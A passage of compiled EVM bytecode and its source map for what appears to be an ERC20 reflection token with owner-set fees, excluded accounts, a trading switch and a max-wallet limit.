fffffffffffffffffffffffffffff168152602001908152602001600020819055506135ec87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061368184600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061371686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613762826138af565b61376b81613a5e565b6137758584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516137d29190613eb7565b60405180910390a350505050505050505050565b601954601681905550601a54601781905550601b54601881905550565b600061382e6127106138206016548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138606127106138526018548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138926127106138846017548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b600081836138a79190614a9d565b905092915050565b60006138b961262d565b905060006138d0828461389990919063ffffffff16565b9050613926816002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a5957613a13836003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000613a6861262d565b90506000613a7f828461389990919063ffffffff16565b9050613af58160026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060066000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ca857613c428360036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613cc282600b546126ec90919063ffffffff16565b600b81905550613cdd81600c5461266e90919063ffffffff16565b600c819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d21578082015181840152602081019050613d06565b60008484015250505050565b6000601f19601f8301169050919050565b6000613d4982613ce7565b613d538185613cf2565b9350613d63818560208601613d03565b613d6c81613d2d565b840191505092915050565b60006020820190508181036000830152613d918184613d3e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613dc982613d9e565b9050919050565b613dd981613dbe565b8114613de457600080fd5b50565b600081359050613df681613dd0565b92915050565b6000819050919050565b613e0f81613dfc565b8114613e1a57600080fd5b50565b600081359050613e2c81613e06565b92915050565b60008060408385031215613e4957613e48613d99565b5b6000613e5785828601613de7565b9250506020613e6885828601613e1d565b9150509250929050565b60008115159050919050565b613e8781613e72565b82525050565b6000602082019050613ea26000830184613e7e565b92915050565b613eb181613dfc565b82525050565b6000602082019050613ecc6000830184613ea8565b92915050565b600080600060608486031215613eeb57613eea613d99565b5b6000613ef986828701613e1d565b9350506020613f0a86828701613e1d565b9250506040613f1b86828701613e1d565b9150509250925092565b6000819050919050565b6000613f4a613f45613f4084613d9e565b613f25565b613d9e565b9050919050565b6000613f5c82613f2f565b9050919050565b6000613f6e82613f51565b9050919050565b613f7e81613f63565b82525050565b6000602082019050613f996000830184613f75565b92915050565b600080600060608486031215613fb857613fb7613d99565b5b6000613fc686828701613de7565b9350506020613fd786828701613de7565b9250506040613fe886828701613e1d565b9150509250925092565b60006020828403121561400857614007613d99565b5b600061401684828501613e1d565b91505092915050565b60006020828403121561403557614034613d99565b5b600061404384828501613de7565b91505092915050565b61405581613dbe565b82525050565b6000602082019050614070600083018461404c565b92915050565b61407f81613e72565b811461408a57600080fd5b50565b60008135905061409c81614076565b92915050565b600080604083850312156140b9576140b8613d99565b5b60006140c785828601613e1d565b92505060206140d88582860161408d565b9150509250929050565b600080604083850312156140f9576140f8613d99565b5b600061410785828601613de7565b92505060206141188582860161408d565b9150509250929050565b6000806040838503121561413957614138613d99565b5b600061414785828601613de7565b925050602061415885828601613de7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806141a957607f821691505b6020821081036141bc576141bb614162565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006141f8602083613cf2565b9150614203826141c2565b602082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061428a602a83613cf2565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f4163636f756e7420697320616c726561647920696e636c756465640000000000600082015250565b60006142f6601b83613cf2565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061439582613dfc565b91506143a083613dfc565b92508282039050818111156143b8576143b761435b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60006143f882613dfc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361442a5761442961435b565b5b600182019050919050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000614491602c83613cf2565b915061449c82614435565b604082019050919050565b600060208201905081810360008301526144c081614484565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006144fd601f83613cf2565b9150614508826144c7565b602082019050919050565b6000602082019050818103600083015261452c816144f0565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b6000614569601b83613cf2565b915061457482614533565b602082019050919050565b600060208201905081810360008301526145988161455c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006145fb602683613cf2565b91506146068261459f565b604082019050919050565b6000602082019050818103600083015261462a816145ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061468d602483613cf2565b915061469882614631565b604082019050919050565b600060208201905081810360008301526146bc81614680565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061471f602283613cf2565b915061472a826146c3565b604082019050919050565b6000602082019050818103600083015261474e81614712565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006147b1602583613cf2565b91506147bc82614755565b604082019050919050565b600060208201905081810360008301526147e0816147a4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614843602383613cf2565b915061484e826147e7565b604082019050919050565b6000602082019050818103600083015261487281614836565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006148d5602983613cf2565b91506148e082614879565b604082019050919050565b60006020820190508181036000830152614904816148c8565b9050919050565b7f54726164696e67206973206e6f7420656e61626c656420796574000000000000600082015250565b6000614941601a83613cf2565b915061494c8261490b565b602082019050919050565b6000602082019050818103600083015261497081614934565b9050919050565b600061498282613dfc565b915061498d83613dfc565b92508282019050808211156149a5576149a461435b565b5b92915050565b7f45524332303a2052656163686564204d61782077616c6c657420686f6c64696e60008201527f6700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a07602183613cf2565b9150614a12826149ab565b604082019050919050565b60006020820190508181036000830152614a36816149fa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614a7782613dfc565b9150614a8283613dfc565b925082614a9257614a91614a3d565b5b828204905092915050565b6000614aa882613dfc565b9150614ab383613dfc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614aec57614aeb61435b565b5b82820290509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220437f03880ea475e722889b0d5e33c7451fd453154b585566847392002b9207ab64736f6c63430008100033
Deployed Bytecode Sourcemap
3575:19721:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6438:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7425:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8924:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12543:334;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4952:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6717:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4692:47;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7626:446;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9939:322;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6624:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10609:477;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8080:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4650:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9019:421;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4043:38;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11908:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9448:483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12238:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5002:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5075:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13220:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10269:332;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18081:124;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12397:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6820:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2779:148;;;:::i;:::-;;8796:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12028:84;;;:::i;:::-;;2556:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6529;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8388:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7026:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5037:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12885:327;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4746:37;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7233:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12120:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2935:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6438:83;6475:13;6508:5;6501:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6438:83;:::o;7425:193::-;7527:4;7549:39;7558:12;:10;:12::i;:::-;7572:7;7581:6;7549:8;:39::i;:::-;7606:4;7599:11;;7425:193;;;;:::o;8924:87::-;8966:7;8993:10;;8986:17;;8924:87;:::o;12543:334::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12690:4:::1;12676:11;:18;;;;12715:11;;12705:7;:21;;;;12757:4;12737:17;:24;;;;12788:17;;12772:13;:33;;;;12831:4;12816:12;:19;;;;12857:12;;12846:8;:23;;;;12543:334:::0;;;:::o;4952:42::-;;;;;;;;;;;;;:::o;6717:95::-;6770:7;6797;;6790:14;;6717:95;:::o;4692:47::-;;;;:::o;7626:446::-;7758:4;7775:36;7785:6;7793:9;7804:6;7775:9;:36::i;:::-;7822:220;7845:6;7866:12;:10;:12::i;:::-;7893:138;7949:6;7893:138;;;;;;;;;;;;;;;;;:11;:19;7905:6;7893:19;;;;;;;;;;;;;;;:33;7913:12;:10;:12::i;:::-;7893:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7822:8;:220::i;:::-;8060:4;8053:11;;7626:446;;;;;:::o;9939:322::-;10033:7;10091;;10080;:18;;10058:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;10179:19;10201:10;:8;:10::i;:::-;10179:32;;10229:24;10241:11;10229:7;:11;;:24;;;;:::i;:::-;10222:31;;;9939:322;;;:::o;6624:85::-;6665:7;6692:9;;6685:16;;6624:85;:::o;10609:477::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10689:11:::1;:20;10701:7;10689:20;;;;;;;;;;;;;;;;;;;;;;;;;10681:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;10757:9;10752:327;10776:9;:16;;;;10772:1;:20;10752:327;;;10834:7;10818:23;;:9;10828:1;10818:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:23;;::::0;10814:254:::1;;10877:9;10906:1;10887:9;:16;;;;:20;;;;:::i;:::-;10877:31;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10862:9;10872:1;10862:12;;;;;;;;:::i;:::-;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;10946:1;10927:7;:16;10935:7;10927:16;;;;;;;;;;;;;;;:20;;;;10989:5;10966:11;:20;10978:7;10966:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;11013:9;:15;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;11047:5;;10814:254;10794:3;;;;;:::i;:::-;;;;10752:327;;;;10609:477:::0;:::o;8080:300::-;8195:4;8217:133;8240:12;:10;:12::i;:::-;8267:7;8289:50;8328:10;8289:11;:25;8301:12;:10;:12::i;:::-;8289:25;;;;;;;;;;;;;;;:34;8315:7;8289:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8217:8;:133::i;:::-;8368:4;8361:11;;8080:300;;;;:::o;4650:35::-;;;;:::o;9019:421::-;9071:14;9088:12;:10;:12::i;:::-;9071:29;;9134:11;:19;9146:6;9134:19;;;;;;;;;;;;;;;;;;;;;;;;;9133:20;9111:114;;;;;;;;;;;;:::i;:::-;;;;;;;;;9237:15;9268:19;9279:7;9268:10;:19::i;:::-;9236:51;;;;;;;;9316:28;9336:7;9316;:15;9324:6;9316:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;9298:7;:15;9306:6;9298:15;;;;;;;;;;;;;;;:46;;;;9365:20;9377:7;9365;;:11;;:20;;;;:::i;:::-;9355:7;:30;;;;9409:23;9424:7;9409:10;;:14;;:23;;;;:::i;:::-;9396:10;:36;;;;9060:380;;9019:421;:::o;4043:38::-;;;;;;;;;;;;;:::o;11908:111::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12007:4:::1;11977:18;:27;11996:7;11977:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;11908:111:::0;:::o;9448:483::-;9566:7;9610;;9599;:18;;9591:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;9669:17;9664:260;;9704:15;9735:19;9746:7;9735:10;:19::i;:::-;9703:51;;;;;;;;9776:7;9769:14;;;;;9664:260;9819:23;9856:19;9867:7;9856:10;:19::i;:::-;9816:59;;;;;;;;9897:15;9890:22;;;9448:483;;;;;:::o;12238:151::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12376:5:::1;12340:24;:33;12365:7;12340:33;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;12238:151:::0;;:::o;5002:28::-;;;;;;;;;;;;;:::o;5075:33::-;;;;;;;;;;;;;:::o;13220:119::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13326:5:::1;13300:23;;:31;;;;;;;;;;;;;;;;;;13220:119:::0;:::o;10269:332::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10350:11:::1;:20;10362:7;10350:20;;;;;;;;;;;;;;;;;;;;;;;;;10349:21;10341:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;10436:1;10417:7;:16;10425:7;10417:16;;;;;;;;;;;;;;;;:20;10413:109;;;10473:37;10493:7;:16;10501:7;10493:16;;;;;;;;;;;;;;;;10473:19;:37::i;:::-;10454:7;:16;10462:7;10454:16;;;;;;;;;;;;;;;:56;;;;10413:109;10555:4;10532:11;:20;10544:7;10532:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;10570:9;10585:7;10570:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10269:332:::0;:::o;18081:124::-;18146:4;18170:18;:27;18189:7;18170:27;;;;;;;;;;;;;;;;;;;;;;;;;18163:34;;18081:124;;;:::o;12397:138::-;12467:4;12494:24;:33;12519:7;12494:33;;;;;;;;;;;;;;;;;;;;;;;;;12487:40;;12397:138;;;:::o;6820:198::-;6886:7;6910:11;:20;6922:7;6910:20;;;;;;;;;;;;;;;;;;;;;;;;;6906:49;;;6939:7;:16;6947:7;6939:16;;;;;;;;;;;;;;;;6932:23;;;;6906:49;6973:37;6993:7;:16;7001:7;6993:16;;;;;;;;;;;;;;;;6973:19;:37::i;:::-;6966:44;;6820:198;;;;:::o;2779:148::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2886:1:::1;2849:40;;2870:6;::::0;::::1;;;;;;;;2849:40;;;;;;;;;;;;2917:1;2900:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2779:148::o:0;8796:120::-;8864:4;8888:11;:20;8900:7;8888:20;;;;;;;;;;;;;;;;;;;;;;;;;8881:27;;8796:120;;;:::o;12028:84::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12100:4:::1;12083:14;;:21;;;;;;;;;;;;;;;;;;12028:84::o:0;2556:87::-;2602:7;2629:6;;;;;;;;;;;2622:13;;2556:87;:::o;6529:::-;6568:13;6601:7;6594:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6529:87;:::o;8388:400::-;8508:4;8530:228;8553:12;:10;:12::i;:::-;8580:7;8602:145;8659:15;8602:145;;;;;;;;;;;;;;;;;:11;:25;8614:12;:10;:12::i;:::-;8602:25;;;;;;;;;;;;;;;:34;8628:7;8602:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8530:8;:228::i;:::-;8776:4;8769:11;;8388:400;;;;:::o;7026:199::-;7131:4;7153:42;7163:12;:10;:12::i;:::-;7177:9;7188:6;7153:9;:42::i;:::-;7213:4;7206:11;;7026:199;;;;:::o;5037:31::-;;;;:::o;12885:327::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13030:4:::1;13017:10;:17;;;;13055:10;;13045:7;:20;;;;13095:4;13076:16;:23;;;;13126:16;;13110:13;:32;;;;13167:4;13153:11;:18;;;;13193:11;;13182:8;:22;;;;12885:327:::0;;;:::o;4746:37::-;;;;:::o;7233:184::-;7350:7;7382:11;:18;7394:5;7382:18;;;;;;;;;;;;;;;:27;7401:7;7382:27;;;;;;;;;;;;;;;;7375:34;;7233:184;;;;:::o;12120:110::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12217:5:::1;12187:18;:27;12206:7;12187:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;12120:110:::0;:::o;2935:281::-;2702:12;:10;:12::i;:::-;2691:23;;:7;:5;:7::i;:::-;:23;;;2683:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3058:1:::1;3038:22;;:8;:22;;::::0;3016:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3171:8;3142:38;;3163:6;::::0;::::1;;;;;;;;3142:38;;;;;;;;;;;;3200:8;3191:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2935:281:::0;:::o;1978:98::-;2031:7;2058:10;2051:17;;1978:98;:::o;18213:371::-;18357:1;18340:19;;:5;:19;;;18332:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18438:1;18419:21;;:7;:21;;;18411:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18522:6;18492:11;:18;18504:5;18492:18;;;;;;;;;;;;;;;:27;18511:7;18492:27;;;;;;;;;;;;;;;:36;;;;18560:7;18544:32;;18553:5;18544:32;;;18569:6;18544:32;;;;;;:::i;:::-;;;;;;;;18213:371;;;:::o;18592:1675::-;18730:1;18714:18;;:4;:18;;;18706:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18807:1;18793:16;;:2;:16;;;18785:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;18877:1;18868:6;:10;18860:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;18947:7;:5;:7::i;:::-;18939:15;;:4;:15;;;;:34;;;;;18959:14;;;;;;;;;;;18958:15;18939:34;18935:120;;;18998:14;;;;;;;;;;;18990:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;18935:120;19098:7;:5;:7::i;:::-;19090:15;;:4;:15;;;;:55;;;;;19140:4;19126:19;;:2;:19;;;;19090:55;:94;;;;;4120:42;19166:18;;:2;:18;;;;19090:94;:134;;;;;19211:13;;;;;;;;;;;19205:19;;:2;:19;;;;19090:134;19068:473;;;19259:22;19284:13;19294:2;19284:9;:13::i;:::-;19259:38;;19346:24;:28;19371:2;19346:28;;;;;;;;;;;;;;;;;;;;;;;;;:102;;;;19431:16;;19421:6;19404:14;:23;;;;:::i;:::-;:43;;19346:102;19316:209;;;;;;;;;;;;:::i;:::-;;;;;;;;;19240:301;19068:473;19561:12;19576:4;19561:19;;19595:18;:24;19614:4;19595:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;19623:18;:22;19642:2;19623:22;;;;;;;;;;;;;;;;;;;;;;;;;19595:50;19591:606;;;19672:5;19662:15;;19591:606;;;19722:13;;;;;;;;;;;19714:21;;:4;:21;;;19710:476;;19767:10;;19757:7;:20;;;;19812:16;;19796:13;:32;;;;19858:11;;19847:8;:22;;;;19710:476;;;19901:13;;;;;;;;;;;19895:19;;:2;:19;;;19891:295;;19946:11;;19936:7;:21;;;;19992:17;;19976:13;:33;;;;20039:12;;20028:8;:23;;;;19891:295;;;20102:1;20092:7;:11;;;;20138:1;20122:13;:17;;;;20169:1;20158:8;:12;;;;19891:295;19710:476;19591:606;20216:41;20231:4;20237:2;20241:6;20249:7;20216:14;:41::i;:::-;18695:1572;18592:1675;;;:::o;1449:240::-;1569:7;1627:1;1622;:6;;1630:12;1614:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1669:1;1665;:5;1658:12;;1449:240;;;;;:::o;15514:164::-;15556:7;15577:15;15594;15613:19;:17;:19::i;:::-;15576:56;;;;15650:20;15662:7;15650;:11;;:20;;;;:::i;:::-;15643:27;;;;15514:164;:::o;1343:98::-;1401:7;1432:1;1428;:5;;;;:::i;:::-;1421:12;;1343:98;;;;:::o;1025:::-;1083:7;1114:1;1110;:5;;;;:::i;:::-;1103:12;;1025:98;;;;:::o;13502:823::-;13602:7;13624;13646;13668;13690;13712;13734;13784:23;13822:12;13849:13;13877:15;13906:20;13918:7;13906:11;:20::i;:::-;13769:157;;;;;;;;13938:15;13955:23;13980:12;13996:130;14022:7;14044:4;14063:5;14083:7;14105:10;:8;:10::i;:::-;13996:11;:130::i;:::-;13937:189;;;;;;14159:7;14181:15;14211:4;14230:15;14260:4;14279:5;14299:7;14137:180;;;;;;;;;;;;;;;;;;;;;13502:823;;;;;;;;;:::o;1131:98::-;1189:7;1220:1;1216;:5;;;;:::i;:::-;1209:12;;1131:98;;;;:::o;20275:838::-;20431:7;20426:28;;20440:14;:12;:14::i;:::-;20426:28;20471:11;:19;20483:6;20471:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;20495:11;:22;20507:9;20495:22;;;;;;;;;;;;;;;;;;;;;;;;;20494:23;20471:46;20467:597;;;20534:48;20556:6;20564:9;20575:6;20534:21;:48::i;:::-;20467:597;;;20605:11;:19;20617:6;20605:19;;;;;;;;;;;;;;;;;;;;;;;;;20604:20;:46;;;;;20628:11;:22;20640:9;20628:22;;;;;;;;;;;;;;;;;;;;;;;;;20604:46;20600:464;;;20667:46;20687:6;20695:9;20706:6;20667:19;:46::i;:::-;20600:464;;;20736:11;:19;20748:6;20736:19;;;;;;;;;;;;;;;;;;;;;;;;;20735:20;:47;;;;;20760:11;:22;20772:9;20760:22;;;;;;;;;;;;;;;;;;;;;;;;;20759:23;20735:47;20731:333;;;20799:44;20817:6;20825:9;20836:6;20799:17;:44::i;:::-;20731:333;;;20865:11;:19;20877:6;20865:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;20888:11;:22;20900:9;20888:22;;;;;;;;;;;;;;;;;;;;;;;;;20865:45;20861:203;;;20927:48;20949:6;20957:9;20968:6;20927:21;:48::i;:::-;20861:203;;;21008:44;21026:6;21034:9;21045:6;21008:17;:44::i;:::-;20861:203;20731:333;20600:464;20467:597;21081:7;21076:29;;21090:15;:13;:15::i;:::-;21076:29;20275:838;;;;:::o;15686:605::-;15737:7;15746;15766:15;15784:7;;15766:25;;15802:15;15820:7;;15802:25;;15843:9;15838:338;15862:9;:16;;;;15858:1;:20;15838:338;;;15946:7;15922;:21;15930:9;15940:1;15930:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15922:21;;;;;;;;;;;;;;;;:31;:83;;;;15998:7;15974;:21;15982:9;15992:1;15982:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15974:21;;;;;;;;;;;;;;;;:31;15922:83;15900:146;;;16029:7;;16038;;16021:25;;;;;;;;;15900:146;16071:34;16083:7;:21;16091:9;16101:1;16091:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16083:21;;;;;;;;;;;;;;;;16071:7;:11;;:34;;;;:::i;:::-;16061:44;;16130:34;16142:7;:21;16150:9;16160:1;16150:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16142:21;;;;;;;;;;;;